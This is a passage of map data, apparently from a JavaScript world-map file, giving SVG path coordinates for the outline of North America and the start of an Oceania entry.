			path: "M892.72,99.2l1.31,0.53l1.41,-0.37l1.89,0.98l1.89,0.42l-1.32,0.58l-2.9,-1.53l-2.08,0.22l-0.26,-0.15l0.07,-0.67ZM353.02,1.2l14.69,4.67l-3.68,1.89l-22.97,0.86l-0.36,0.27l0.12,0.43l1.55,1.18l8.79,-0.66l7.48,2.07l4.86,-1.77l1.66,1.73l-2.53,3.19l-0.01,0.48l0.46,0.15l6.35,-2.2l12.06,-2.31l7.24,1.13l1.09,1.99l-9.79,4.01l-1.44,1.32l-7.87,0.98l-0.35,0.41l0.38,0.38l5.07,0.24l-2.53,3.58l-2.07,3.81l0.08,6.05l2.57,3.11l-3.22,0.2l-4.12,1.66l-0.05,0.72l4.45,2.65l0.51,3.75l-2.3,0.4l-0.25,0.64l2.79,3.69l-4.82,0.31l-0.36,0.29l0.16,0.44l2.62,1.8l-0.59,1.22l-3.3,0.7l-3.45,0.01l-0.29,0.68l3.03,3.12l0.02,1.34l-4.4,-1.73l-1.72,1.35l0.15,0.66l3.31,1.15l3.13,2.71l0.81,3.16l-3.85,0.75l-4.89,-4.26l-0.47,-0.03l-0.17,0.44l0.79,2.86l-2.71,2.21l-0.13,0.44l0.37,0.27l8.73,0.34l-12.32,6.64l-7.24,1.48l-2.94,0.08l-2.69,1.75l-3.43,4.41l-5.24,2.84l-1.73,0.18l-7.12,2.1l-2.15,2.52l-0.13,2.99l-1.19,2.45l-4.01,3.09l-0.14,0.44l0.97,2.9l-2.28,6.48l-3.1,0.2l-3.83,-3.07l-4.86,-0.02l-2.25,-1.93l-1.7,-3.79l-4.3,-4.84l-1.21,-2.49l-0.44,-3.8l-3.32,-3.63l0.84,-2.86l-1.56,-1.7l2.28,-4.6l3.83,-1.74l1.03,-1.96l0.52,-3.47l-0.59,-0.41l-4.17,2.21l-2.07,0.58l-2.72,-1.28l-0.15,-2.71l0.85,-2.09l2.01,-0.06l5.06,1.2l0.46,-0.23l-0.14,-0.49l-6.54,-4.47l-2.67,0.55l-1.58,-0.86l2.56,-4.01l-0.03,-0.48l-1.5,-1.74l-4.98,-8.5l-3.13,-1.96l0.03,-1.88l-0.24,-0.37l-6.85,-3.02l-5.36,-0.38l-12.7,0.58l-2.78,-1.57l-3.66,-2.77l5.73,-1.45l5.0,-0.28l0.38,-0.38l-0.35,-0.41l-10.67,-1.38l-5.3,-2.06l0.25,-1.54l18.41,-5.26l1.22,-2.27l-0.25,-0.55l-6.14,-1.86l1.68,-1.77l8.55,-4.03l3.59,-0.63l0.3,-0.54l-0.88,-2.27l5.47,-1.47l7.65,-0.95l7.55,-0.05l3.04,1.85l6.48,-3.27l5.81,2.22l3.56,0.5l5.16,1.94l0.5,-0.21l-0.17,-0.52l-5.71,-3.13l0.28,-2.13l8.12,-3.6l8.7,0.28l3.35,-2.34l8.71,-0.6l19.93,0.8ZM280.06,145.6l-1.67,2.88l0.07,0.49l0.5,0.04l1.46,-0.98l1.0,0.42l-0.56,0.72l0.17,0.62l2.22,0.89l1.35,-0.71l1.95,0.78l-0.66,2.01l0.5,0.51l1.32,-0.42l0.98,3.17l-0.91,2.41l-0.8,0.08l-1.23,-0.45l0.47,-2.25l-0.89,-0.83l-0.48,0.06l-2.78,2.63l-0.34,-0.02l1.02,-0.85l-0.14,-0.69l-2.4,-0.77l-7.4,0.08l-0.17,-0.41l1.3,-0.94l0.02,-0.64l-0.73,-0.58l1.85,-1.74l2.57,-5.16l1.47,-1.79l1.99,-1.05l0.46,0.06l-1.53,2.45ZM133.68,213.97l0.68,-0.08l0.93,-1.01l0.08,-1.78l-1.93,-1.94l-1.46,-0.77l-2.94,-5.59l-1.52,-4.04l-1.62,-1.61l-1.14,-0.38l-0.55,-0.88l-1.28,-0.13l-1.01,-0.77l-2.22,-0.27l-0.43,-0.3l-0.36,-1.58l-2.4,-2.83l-2.01,-3.85l-0.06,-0.9l-2.92,-3.26l-0.33,-2.29l-1.3,-1.66l0.52,-2.37l-0.09,-2.57l-0.78,-2.3l0.95,-2.82l0.61,-5.68l-0.47,-4.27l-1.46,-4.08l3.19,0.79l1.26,2.83l0.69,0.08l0.69,-1.14l-0.42,-2.68l-0.85,-2.64l-7.11,-4.81l-4.5,-1.38l-1.26,-2.66l0.33,-1.93l-0.23,-0.43l-3.01,-1.35l-0.55,-2.77l-2.89,-2.38l-0.17,-1.88l-1.47,-1.38l-2.04,-1.03l-0.67,-2.89l-3.28,-3.03l-1.65,-3.57l-6.35,-0.32l-2.82,-1.01l-5.26,-3.85l-6.77,-2.04l-3.53,0.3l-4.81,-1.69l-3.25,-1.63l-2.78,0.8l-0.28,0.46l0.44,2.21l-3.91,0.96l-2.26,1.27l-2.3,0.65l-0.27,-1.65l1.05,-3.42l2.49,-1.09l0.16,-0.6l-0.69,-0.96l-0.55,-0.1l-3.19,2.12l-1.78,2.56l-3.55,2.61l-0.04,0.61l1.56,1.52l-2.07,2.29l-5.11,2.57l-0.77,1.66l-3.76,1.77l-0.92,1.73l-2.69,1.38l-1.81,-0.22l-6.95,3.32l-3.97,0.91l4.85,-2.5l2.59,-1.86l3.26,-0.52l1.19,-1.4l3.42,-2.1l2.59,-2.27l0.42,-2.68l1.23,-2.1l-0.04,-0.46l-0.45,-0.11l-2.68,1.03l-0.63,-0.49l-0.53,0.03l-1.05,1.04l-1.36,-1.54l-0.66,0.08l-0.32,0.62l-0.58,-1.14l-0.56,-0.16l-2.41,1.42l-1.07,-0.0l-0.17,-1.75l0.3,-1.71l-1.61,-1.33l-3.41,0.59l-1.96,-1.63l-1.57,-0.84l-0.15,-2.21l-1.7,-1.43l0.82,-1.88l1.99,-2.12l0.88,-1.92l1.71,-0.24l2.04,0.51l1.87,-1.77l1.91,0.25l1.91,-1.23l0.17,-0.43l-0.47,-1.82l-1.07,-0.7l1.39,-1.17l0.12,-0.45l-0.39,-0.26l-1.65,0.07l-2.66,0.88l-0.75,0.78l-1.92,-0.8l-3.46,0.44l-3.44,-0.91l-1.06,-1.61l-2.65,-1.99l2.91,-1.43l5.5,-2.0l1.52,0.0l-0.26,1.62l0.41,0.46l5.29,-0.16l0.3,-0.65l-2.03,-2.59l-3.14,-1.68l-1.79,-2.12l-2.4,-1.83l-3.09,-1.24l1.04,-1.69l4.43,-0.2l3.16,-2.0l0.73,-2.27l2.39,-1.99l2.42,-0.52l4.65,-1.97l2.46,0.23l3.71,-2.35l3.5,0.89l1.73,1.97l0.55,0.05l0.99,-0.79l3.65,0.24l-0.09,0.62l0.32,0.45l3.83,0.77l2.61,-0.43l5.19,1.4l4.84,0.43l1.89,0.57l3.42,-0.7l3.74,1.32l7.34,1.68l3.89,2.09l2.74,0.45l2.47,-1.89l2.88,-1.31l3.85,0.48l3.71,-1.94l3.82,-1.04l1.56,1.68l0.49,0.08l1.87,-1.04l0.65,-1.98l1.24,0.35l4.16,3.94l0.54,0.01l2.75,-2.49l0.26,2.59l0.49,0.35l3.08,-0.73l1.04,-1.27l2.73,0.23l3.83,1.86l5.86,1.61l3.47,0.75l2.44,-0.26l2.73,1.78l-2.98,1.81l-0.19,0.41l0.31,0.32l4.53,0.92l6.87,-0.5l2.0,-0.69l2.49,2.39l0.53,0.02l2.72,-2.16l-0.02,-0.64l-2.16,-1.54l1.15,-1.06l4.83,-0.61l1.84,0.95l2.48,2.31l3.01,-0.23l4.55,1.92l3.85,-0.67l3.61,0.1l0.41,-0.44l-0.25,-2.36l1.79,-0.61l3.49,1.32l-0.01,3.77l0.31,0.39l0.45,-0.22l1.48,-3.16l1.74,0.1l0.41,-0.3l1.13,-4.37l-2.78,-3.11l-2.8,-1.74l0.19,-4.64l2.71,-3.07l2.98,0.67l2.41,1.95l3.19,4.8l-1.99,1.97l0.21,0.68l4.33,0.84l-0.01,4.15l0.25,0.37l0.44,-0.09l3.07,-3.15l2.54,2.39l-0.61,3.33l2.42,2.88l0.61,0.0l2.61,-3.08l1.88,-3.82l0.17,-4.58l6.72,0.94l3.13,2.04l0.13,1.82l-1.76,2.19l-0.01,0.49l1.66,2.16l-0.26,1.71l-4.68,2.8l-3.28,0.61l-2.47,-1.2l-0.55,0.23l-0.73,2.04l-2.38,3.43l-0.74,1.77l-2.74,2.57l-3.44,0.25l-2.21,1.78l-0.28,2.53l-2.82,0.55l-3.12,3.22l-2.72,4.31l-1.03,3.17l-0.14,4.31l0.33,0.41l3.44,0.57l2.24,5.95l0.45,0.23l3.4,-0.69l4.52,1.51l2.43,1.31l1.91,1.73l3.1,0.96l2.62,1.46l6.6,0.54l-0.35,2.74l0.81,3.53l1.81,3.78l3.83,3.3l0.45,0.04l2.1,-1.28l1.37,-3.69l-1.31,-5.38l-1.45,-1.58l3.57,-1.47l2.84,-2.46l1.52,-2.8l-0.25,-2.55l-1.7,-3.07l-2.85,-2.61l2.8,-3.95l-1.08,-3.37l-0.79,-5.67l1.36,-0.7l6.76,1.41l2.12,-0.96l5.12,3.36l1.05,1.61l4.08,0.26l-0.06,2.87l0.83,4.7l0.3,0.32l2.16,0.54l1.73,2.06l0.5,0.09l3.63,-2.03l2.52,-4.19l1.26,-1.32l7.6,11.72l-0.92,2.04l0.16,0.51l3.3,1.97l2.22,1.98l4.1,0.98l1.43,0.99l0.95,2.79l2.1,0.68l0.84,1.08l0.17,3.45l-3.37,2.26l-4.22,1.24l-3.06,2.63l-4.06,0.51l-5.35,-0.69l-3.8,-0.02l-2.86,0.36l-2.04,2.28l-3.26,1.51l-6.47,7.15l-0.06,0.48l0.44,0.19l2.13,-0.52l4.17,-4.24l5.12,-2.62l3.52,-0.3l1.69,1.21l-2.12,2.21l0.81,3.47l1.02,2.61l3.47,1.6l4.14,-0.45l2.15,-2.8l0.26,1.48l1.14,0.8l-2.56,1.69l-5.5,1.82l-2.54,1.27l-2.74,2.15l-1.4,-0.16l-0.07,-2.01l4.14,-2.44l0.18,-0.45l-0.39,-0.29l-4.01,0.1l-2.83,0.38l-0.31,0.55l0.29,0.68l-2.34,1.31l-5.37,2.09l-1.83,2.72l0.02,1.79l0.83,1.59l0.54,0.23l-6.19,0.94l-2.2,0.89l-0.23,0.48l0.45,0.29l2.99,-0.46l-2.19,0.56l-1.13,0.0l-0.15,-0.32l-0.48,0.08l-0.76,0.82l0.22,0.67l0.32,0.06l-0.41,1.62l-1.27,1.58l-1.48,-1.07l-0.49,-0.04l-0.16,0.46l0.52,1.58l0.61,0.59l0.03,0.79l-0.95,1.38l-1.21,-1.22l-0.27,-2.27l-0.35,-0.35l-0.42,0.25l-0.48,1.27l0.33,1.41l-0.97,-0.27l-0.48,0.24l0.18,0.5l1.52,0.83l0.1,2.52l0.79,0.51l0.52,3.42l-1.42,1.88l-2.47,0.8l-1.71,1.66l-1.31,0.25l-1.27,1.03l-0.43,0.99l-2.69,1.78l-1.46,1.38l-1.25,1.8l-0.39,1.96l0.45,2.08l0.85,2.38l1.09,1.9l0.04,1.2l1.16,3.06l-0.18,2.69l-0.55,1.43l-0.47,0.21l-0.89,-0.23l-0.49,-1.18l-0.87,-0.56l-2.75,-5.16l0.46,-1.96l-0.76,-1.59l-1.95,-2.29l-1.46,-0.52l-2.38,1.17l-1.47,-1.35l-1.78,-0.71l-2.78,0.34l-2.17,-0.3l-2.12,0.22l-1.04,0.43l-0.19,0.58l0.39,0.63l0.14,1.34l-0.84,-0.2l-0.84,0.46l-1.58,-0.07l-2.08,-1.44l-2.09,0.33l-1.91,-0.62l-3.73,0.84l-2.39,2.07l-2.54,1.22l-1.37,1.29l-0.66,1.34l-0.06,2.07l0.37,1.81l-0.74,0.46l0.75,0.34l-1.18,3.72l-0.42,5.04l1.79,4.89l1.62,1.89l0.61,1.52l0.98,1.28l2.77,0.8l1.37,1.1l7.54,-1.89l1.86,-1.3l1.14,-4.3l4.1,-1.21l3.57,-0.11l0.32,0.3l-0.06,0.94l-1.26,1.45l-0.67,1.71l0.38,0.7l-0.72,2.27l-1.01,-0.25l-0.37,0.41l0.46,0.77l-0.4,1.3l0.06,1.78l-0.24,1.06l-0.92,0.74l-0.5,0.89l0.15,0.54l0.82,0.46l0.58,-0.22l0.68,0.29l0.85,-0.43l2.37,0.28l1.27,-0.09l1.1,-0.52l1.3,0.28l1.14,-0.25l1.38,0.37l2.3,1.4l0.36,0.39l-0.2,0.71l0.21,0.95l-0.8,1.86l0.09,2.82l-0.36,0.37l-0.11,1.75l-0.47,0.81l1.24,2.69l2.92,2.88l0.32,0.78l1.26,0.03l0.77,0.49l1.38,-0.23l2.51,-1.11l0.86,-0.72l3.45,0.85l1.4,1.18l0.41,1.74l-0.21,0.34l-0.53,-0.12l-0.47,0.29l-0.16,0.6l-0.68,-1.28l0.45,-0.49l-0.19,-0.66l-2.26,-1.67l-1.35,0.11l-0.75,0.99l-1.62,0.84l-0.18,0.96l0.85,0.97l-0.58,0.45l-0.69,0.08l-0.34,-1.18l-1.27,0.03l-0.71,-1.05l-1.74,-0.47l-1.3,0.2l-1.27,-0.52l-0.28,-1.49l-2.46,-1.42l-0.28,-0.77l-1.11,-0.45l-0.11,1.04l-1.13,-0.66l-0.11,-2.88l-4.27,-4.05l0.33,-0.66l-0.67,-0.99l-0.76,-0.22l-0.64,0.58l-1.14,-0.03l-1.95,-0.75l-1.28,-0.15l-2.02,-0.99l-1.6,-0.07l-2.32,-1.46l-2.88,-2.79l-1.38,-0.88l-2.04,-0.67l-1.58,0.17l-3.19,1.2l-10.55,-3.85l-2.86,-1.96l-3.78,-0.92l-1.08,-1.19l-2.62,-1.43l-1.18,-1.54l-0.38,-0.81l0.66,-0.63l-0.18,-0.53l0.52,-0.76l0.01,-0.91l-2.0,-3.82l-2.21,-2.63l-2.53,-2.09l-1.19,-1.62l-2.2,-1.17l-0.3,-0.43l0.34,-1.48l-0.21,-0.45l-1.23,-0.6l-1.36,-1.2l-0.59,-1.78l-1.54,-0.47l-2.44,-2.55l-0.16,-0.9l-1.33,-2.03l-0.84,-1.99l-0.16,-1.33l-1.81,-1.1l-0.97,0.05l-1.31,-0.7l-0.57,0.22l-0.4,1.12l0.72,3.77l3.51,3.89l0.28,0.78l0.53,0.26l0.41,1.43l1.33,1.73l1.58,1.41l0.8,2.39l1.43,2.41l0.13,1.32l0.37,0.36l1.04,0.08l1.67,2.28l-0.85,0.76l-0.66,-1.51l-1.68,-1.54l-2.91,-1.87l0.06,-1.82l-0.54,-1.68l-2.91,-2.03l-0.55,0.09l-1.95,-1.1l-0.88,-0.94ZM223.23,169.68l1.12,-0.33l4.16,0.31l1.88,-1.01l0.21,-0.4l-0.2,-1.35l-1.0,-0.87l-1.72,0.98l-1.12,-0.48l-2.12,0.42l-2.62,0.84l-0.9,1.17l0.21,0.62l1.0,0.29l1.11,-0.19ZM212.87,172.48l-1.23,1.32l0.17,0.61l1.54,0.62l1.48,0.17l1.92,-0.44l4.63,-2.09l2.25,-1.86l0.09,-0.67l-0.46,-0.33l-2.23,0.39l-1.85,0.81l-2.11,-0.13l-2.95,1.78l-1.25,-0.17ZM196.34,154.17l-2.46,1.01l-1.86,1.32l-1.71,1.34l-0.16,0.77l0.5,0.39l2.33,-0.61l1.77,1.02l5.15,-2.4l-0.31,0.65l0.25,0.56l1.36,0.38l1.71,1.16l4.7,-0.88l0.67,0.85l0.76,0.13l0.46,-0.28l0.67,0.94l-1.34,0.17l-2.18,-0.32l-3.6,0.89l-2.71,3.25l0.35,0.9l0.59,-0.0l0.55,-0.6l-1.36,4.65l0.29,3.09l1.01,1.93l1.12,0.08l0.84,-0.37l1.68,-2.01l0.14,-2.21l-0.82,-1.96l0.11,-1.13l1.19,-2.37l0.44,-0.33l0.48,0.75l0.4,-0.29l0.4,-1.37l0.6,-0.47l0.24,-0.8l1.69,0.49l1.65,1.08l-0.03,2.37l-1.27,1.13l-0.0,1.13l0.87,0.36l1.66,-1.29l0.5,0.17l0.51,2.75l0.61,0.3l1.8,-1.25l0.1,-2.29l1.16,-1.99l0.49,0.53l2.03,0.42l1.2,-1.16l0.02,-0.47l-2.66,-3.51l-2.28,-0.61l-5.64,-0.71l-0.4,-0.57l-0.79,0.13l0.2,-0.41l-0.22,-0.55l-0.68,-0.26l0.19,-1.26l-0.78,-0.73l0.31,-0.64l-0.29,-0.57l-2.6,-0.44l-0.75,-1.63l-0.73,-0.59l-4.53,-0.72l-1.13,1.19l-1.48,0.59l-0.95,1.19ZM266.64,259.32l0.28,-1.16l1.13,-0.22l-0.06,1.2l-1.35,0.18ZM260.37,148.65l3.04,0.76l2.26,1.2l-3.78,-0.95l-1.53,-1.01ZM249.4,3.81l6.68,0.49l5.32,0.79l4.26,1.57l-0.07,1.1l-5.85,2.53l-6.02,1.21l-2.39,1.39l-0.18,0.45l0.39,0.29l4.01,-0.02l-4.65,2.82l-4.2,1.74l-4.19,4.59l-5.03,0.92l-1.67,1.15l-7.47,0.59l-0.37,0.37l0.32,0.42l2.41,0.49l-0.81,0.47l-0.12,0.59l1.83,2.41l-2.02,1.59l-3.81,1.51l-1.32,2.16l-3.38,1.53l-0.22,0.48l0.35,1.19l0.4,0.29l3.88,-0.18l0.03,0.61l-6.33,2.95l-6.41,-1.4l-7.43,0.79l-3.72,-0.62l-4.4,-0.25l-0.23,-1.83l4.29,-1.11l0.28,-0.51l-1.1,-3.45l1.0,-0.25l6.58,2.28l0.47,-0.16l-0.05,-0.49l-3.41,-3.45l-3.58,-0.98l1.48,-1.55l4.34,-1.29l0.97,-2.19l-0.16,-0.48l-3.42,-2.13l-0.81,-2.26l6.2,0.22l2.24,0.58l3.91,-2.1l0.2,-0.43l-0.35,-0.32l-5.64,-0.67l-8.73,0.36l-4.26,-1.9l-2.12,-2.4l-2.78,-1.66l-0.41,-1.52l3.31,-1.03l2.93,-0.2l4.91,-0.99l3.7,-2.27l2.87,0.3l2.62,1.67l0.56,-0.14l1.82,-3.2l3.13,-0.94l4.44,-0.69l7.53,-0.26l1.48,0.67l7.19,-1.06l10.8,0.79ZM203.85,57.54l0.01,0.42l1.97,2.97l0.68,-0.02l2.24,-3.72l5.95,-1.86l4.01,4.64l-0.35,2.91l0.5,0.43l4.95,-1.36l2.32,-1.8l5.31,2.28l3.27,2.11l0.3,1.84l0.48,0.33l4.42,-0.99l2.64,2.87l5.97,1.77l2.06,1.72l2.11,3.71l-4.19,1.86l-0.01,0.73l5.9,2.83l3.94,0.94l3.78,3.95l3.46,0.25l-0.63,2.37l-4.11,4.47l-2.76,-1.56l-3.9,-3.94l-3.59,0.41l-0.33,0.34l-0.19,2.72l2.63,2.38l3.42,1.89l0.94,0.97l1.55,3.75l-0.7,2.29l-2.74,-0.92l-6.25,-3.15l-0.51,0.13l0.05,0.52l6.07,5.69l0.18,0.59l-6.09,-1.39l-5.31,-2.24l-2.63,-1.66l0.6,-0.77l-0.12,-0.6l-7.39,-4.01l-0.59,0.37l0.03,0.79l-6.73,0.6l-1.69,-1.1l1.36,-2.46l4.51,-0.07l5.15,-0.52l0.31,-0.6l-0.74,-1.3l0.78,-1.84l3.21,-4.05l-0.67,-2.35l-1.11,-1.6l-3.84,-2.1l-4.35,-1.28l0.91,-0.63l0.06,-0.61l-2.65,-2.75l-2.34,-0.36l-1.89,-1.46l-0.53,0.03l-1.24,1.23l-4.36,0.55l-9.04,-0.99l-9.26,-1.98l-1.6,-1.22l2.22,-1.77l0.13,-0.44l-0.38,-0.27l-3.22,-0.02l-0.72,-4.25l1.83,-4.04l2.42,-1.85l5.5,-1.1l-1.39,2.35ZM261.19,159.33l2.07,0.61l1.44,-0.04l-1.15,0.63l-2.94,-1.23l-0.4,-0.68l0.36,-0.37l0.61,1.07ZM256.17,238.73l-0.26,0.27l-2.83,0.05l-0.07,-0.55l1.95,-0.1l1.22,0.33ZM237.05,238.38l-1.16,0.43l-0.91,-0.55l0.05,-0.2l2.02,0.31ZM237.53,238.43l1.06,0.12l-0.05,0.01l-1.01,-0.12ZM239.25,238.45l0.79,-0.51l0.06,-0.62l-1.02,-1.0l0.02,-0.82l-0.3,-0.4l-0.93,-0.32l3.44,0.5l0.59,-0.44l1.66,0.01l1.99,0.63l0.33,0.67l1.28,0.19l0.33,0.76l1.0,0.08l0.8,0.62l-0.45,0.51l-1.13,-0.47l-1.88,-0.01l-1.27,0.59l-0.75,-0.55l-1.01,0.54l-0.79,1.4l-0.53,-0.98l-2.25,-0.38ZM221.21,227.25l1.27,1.02l2.19,-0.28l4.43,3.33l2.08,0.43l-0.1,0.38l0.36,0.5l1.75,0.1l1.48,0.84l-3.11,0.51l-4.15,-0.03l0.77,-0.67l-0.04,-0.64l-1.2,-0.74l-1.49,-0.16l-0.7,-0.61l-0.56,-1.4l-0.4,-0.25l-1.34,0.1l-2.2,-0.66l-0.88,-0.58l-3.18,-0.4l-0.27,-0.16l0.58,-0.74l-0.36,-0.29l-2.72,-0.05l-1.7,1.29l-0.91,0.03l-0.61,0.69l-1.01,0.22l1.11,-1.29l1.01,-0.52l3.69,-1.01l3.98,0.21l2.21,0.84ZM230.83,84.39l-2.37,0.18l-0.49,-1.63l0.93,-2.09l1.94,-0.51l1.62,0.99l0.02,1.52l-1.66,1.54ZM229.43,58.25l0.11,0.65l-4.87,-0.21l-2.72,0.62l-3.1,-2.57l0.08,-1.26l0.86,-0.23l5.57,0.51l4.08,2.5ZM228.38,239.28l-0.8,0.4l-2.26,-1.06l0.84,-0.23l2.14,0.3l1.17,0.56l-1.08,0.03ZM226.4,223.87l-0.48,-1.15l-0.84,-0.75l0.36,-1.11l0.95,1.95l0.01,1.06ZM225.56,216.43l-1.87,0.29l-0.04,-0.22l0.74,-0.14l1.17,0.06ZM222.0,105.02l-0.72,1.49l-0.63,-0.19l-0.48,-0.84l0.81,-0.99l0.65,0.05l0.37,0.46ZM183.74,38.32l2.9,1.7l4.79,-0.01l1.84,1.46l-0.49,1.68l0.23,0.48l2.82,1.14l1.76,1.26l7.01,0.65l4.1,-1.1l5.03,-0.43l3.93,0.35l2.48,1.77l0.46,1.7l-1.3,1.1l-3.56,1.01l-3.23,-0.59l-7.17,0.76l-5.09,0.09l-3.99,-0.6l-6.42,-1.54l-0.79,-2.51l-0.3,-2.49l-2.64,-2.5l-5.32,-0.72l-2.52,-1.4l0.68,-1.57l4.78,0.31ZM207.38,91.35l0.4,1.56l0.56,0.26l1.06,-0.52l1.32,0.96l5.42,2.57l0.2,1.68l0.46,0.35l1.68,-0.28l1.15,0.85l-1.55,0.87l-3.61,-0.88l-1.32,-1.69l-0.57,-0.06l-2.45,2.1l-3.12,1.79l-0.7,-1.87l-0.42,-0.26l-2.16,0.24l1.39,-1.39l0.32,-3.14l0.76,-3.35l1.18,0.22ZM215.49,102.6l-2.67,1.95l-1.4,-0.07l-0.3,-0.58l1.53,-1.48l2.84,0.18ZM202.7,24.12l2.53,1.59l-2.87,1.4l-4.53,4.05l-4.25,0.38l-5.03,-0.68l-2.45,-2.04l0.03,-1.62l1.82,-1.37l0.14,-0.45l-0.38,-0.27l-4.45,0.04l-2.59,-1.76l-1.41,-2.29l1.57,-2.32l1.62,-1.66l2.44,-0.39l0.25,-0.65l-0.6,-0.74l4.86,-0.25l3.24,3.11l8.16,2.3l1.9,3.61ZM187.47,59.2l-2.76,3.49l-2.38,-0.15l-1.44,-3.84l0.04,-2.2l1.19,-1.88l2.3,-1.23l5.07,0.17l4.11,1.02l-3.24,3.72l-2.88,0.89ZM186.07,48.79l-1.08,1.53l-3.34,-0.34l-2.56,-1.1l1.03,-1.75l3.25,-1.23l1.95,1.58l0.75,1.3ZM185.71,35.32l-5.3,-0.2l-0.32,-0.71l4.31,0.07l1.3,0.84ZM180.68,32.48l-3.34,1.0l-1.79,-1.1l-0.98,-1.87l-0.15,-1.73l4.1,0.53l2.67,1.7l-0.51,1.47ZM180.9,76.31l-1.1,1.08l-3.13,-1.23l-2.12,0.43l-2.71,-1.57l1.72,-1.09l1.55,-1.72l3.81,1.9l1.98,2.2ZM169.74,54.87l2.96,0.97l4.17,-0.57l0.41,0.88l-2.14,2.11l0.09,0.64l3.55,1.92l-0.4,3.72l-3.79,1.65l-2.17,-0.35l-1.72,-1.74l-6.02,-3.5l0.03,-0.85l4.68,0.54l0.4,-0.21l-0.05,-0.45l-2.48,-2.81l2.46,-1.95ZM174.45,40.74l1.37,1.73l0.07,2.44l-1.05,3.45l-3.79,0.47l-2.32,-0.69l0.05,-2.64l-0.44,-0.41l-3.68,0.35l-0.12,-3.1l2.45,0.1l3.67,-1.73l3.41,0.29l0.37,-0.26ZM170.05,31.55l0.67,1.56l-3.33,-0.49l-4.22,-1.77l-4.35,-0.16l1.4,-0.94l-0.06,-0.7l-2.81,-1.23l-0.12,-1.39l4.39,0.68l6.62,1.98l1.81,2.47ZM134.5,58.13l-1.02,1.82l0.45,0.58l5.4,-1.39l3.33,2.29l0.49,-0.03l2.6,-2.23l1.94,1.32l2.0,4.5l0.7,0.06l1.3,-2.29l-1.63,-4.46l1.69,-0.54l2.31,0.71l2.65,1.81l2.49,7.92l8.48,4.27l-0.19,1.35l-3.79,0.33l-0.26,0.67l1.4,1.49l-0.58,1.1l-4.23,-0.64l-4.43,-1.19l-3.0,0.28l-4.66,1.47l-10.52,1.04l-1.43,-2.02l-3.42,-1.2l-2.21,0.43l-2.51,-2.86l4.84,-1.05l3.6,0.19l3.27,-0.78l0.31,-0.39l-0.31,-0.39l-4.84,-1.06l-8.79,0.27l-0.85,-1.07l5.26,-1.66l0.27,-0.45l-0.4,-0.34l-3.8,0.06l-3.81,-1.06l1.81,-3.01l1.66,-1.79l6.48,-2.81l1.97,0.71ZM158.7,56.61l-1.7,2.44l-3.2,-2.75l0.37,-0.3l3.11,-0.18l1.42,0.79ZM149.61,42.73l1.01,1.89l0.5,0.18l2.14,-0.82l2.23,0.19l0.36,2.04l-1.33,2.09l-8.28,0.76l-6.35,2.15l-3.41,0.1l-0.19,-0.96l4.9,-2.08l0.23,-0.46l-0.41,-0.31l-11.25,0.59l-2.89,-0.74l3.04,-4.44l2.14,-1.32l6.81,1.69l4.58,3.06l4.37,0.39l0.36,-0.63l-3.36,-4.6l1.85,-1.53l2.18,0.51l0.77,2.26ZM144.76,34.41l-4.36,1.44l-3.0,-1.4l1.46,-1.24l3.47,-0.52l2.96,0.71l-0.52,1.01ZM145.13,29.83l-1.9,0.66l-3.67,-0.0l2.27,-1.61l3.3,0.95ZM118.92,65.79l-6.03,2.02l-1.33,-1.9l-5.38,-2.28l2.59,-5.05l2.16,-3.14l-0.02,-0.48l-1.97,-2.41l7.64,-0.7l3.6,1.02l6.3,0.27l4.42,2.95l-2.53,0.98l-6.24,3.43l-3.1,3.28l-0.11,2.01ZM129.54,35.53l-0.28,3.37l-1.72,1.62l-2.33,0.28l-4.61,2.19l-3.86,0.76l-2.64,-0.87l3.72,-3.4l5.01,-3.34l3.72,0.07l3.0,-0.67ZM111.09,152.69l-0.67,0.24l-3.85,-1.37l-0.83,-1.17l-2.12,-1.07l-0.66,-1.02l-2.4,-0.55l-0.74,-1.71l6.02,1.45l2.0,2.55l2.52,1.39l0.73,1.27ZM87.8,134.64l0.89,0.29l1.86,-0.21l-0.65,3.34l1.69,2.33l-1.31,-1.33l-0.99,-1.62l-1.17,-0.98l-0.33,-1.82ZM37.6,123.41l-2.25,1.23l-0.95,-0.69l-0.29,-1.24l3.21,-1.63l1.42,0.21l0.67,0.7l-1.8,1.42ZM31.06,234.03l0.98,0.47l0.74,0.87l-1.77,1.07l-0.44,-1.53l0.49,-0.89ZM29.34,232.07l0.18,0.05l0.08,0.05l-0.16,0.03l-0.11,-0.14ZM25.16,230.17l0.05,-0.03l0.18,0.22l-0.13,-0.01l-0.1,-0.18ZM5.89,113.26l-1.08,0.41l-2.21,-1.12l1.53,-0.4l1.62,0.28l0.14,0.83Z",
			name: "North America",
		},
		OC: {
			path: "M869.95,326.98l-1.21,0.41l-0.08,-0.23l2.97,-1.21l-0.14,0.42l-1.54,0.61ZM867.58,329.25l0.43,0.37l-0.27,0.88l-1.24,0.28l-1.04,-0.24l-0.14,-0.66l0.63,-0.58l0.92,0.26l0.7,-0.31ZM857.8,379.65l1.86,3.12l0.44,0.18l0.3,-0.38l0.03,-1.23l0.38,0.27l0.57,2.31l2.02,0.94l1.81,0.27l1.57,-1.06l0.7,0.18l-1.15,3.59l-1.98,0.11l-0.74,1.2l0.2,1.11l-2.42,3.98l-1.49,0.92l-1.04,-0.85l1.21,-2.05l-0.81,-2.01l-2.63,-1.25l0.04,-0.57l1.82,-1.19l0.43,-2.34l-0.16,-2.03l-0.95,-1.82l-0.06,-0.72l-3.11,-3.64l-0.79,-1.52l1.56,1.45l1.76,0.66l0.65,2.34ZM853.83,393.59l0.57,1.24l0.59,0.16l1.42,-0.97l0.46,0.79l0.0,1.03l-2.47,3.48l-1.26,1.2l-0.06,0.5l0.55,0.87l-1.41,0.07l-2.33,1.38l-2.03,5.02l-3.02,2.16l-2.06,-0.06l-1.71,-1.04l-2.47,-0.2l-0.27,-0.73l1.22,-2.1l3.05,-2.94l1.62,-0.59l4.02,-2.82l1.57,-1.67l1.07,-2.16l0.88,-0.7l0.48,-1.75l1.24,-0.97l0.35,0.79ZM839.04,322.8l0.22,1.14l-0.44,0.03l-0.2,-1.45l0.42,0.27ZM838.78,341.24l-0.33,0.22l-2.9,-1.75l-3.26,-3.37l1.65,0.83l4.85,4.07ZM826.69,311.6l-0.61,0.09l-0.2,-0.33l0.37,0.15l0.44,0.09ZM824.18,307.38l-0.26,-0.3l-0.31,-0.91l0.03,0.0l0.54,1.21ZM823.04,309.33l-1.66,-0.22l-0.2,-0.52l1.16,0.28l0.69,0.46ZM819.28,304.68l1.14,0.65l0.02,0.03l-0.81,-0.44l-0.35,-0.23ZM808.58,298.86l2.54,2.56l-0.13,0.26l-0.33,0.12l-0.87,-0.78l-1.22,-2.16ZM7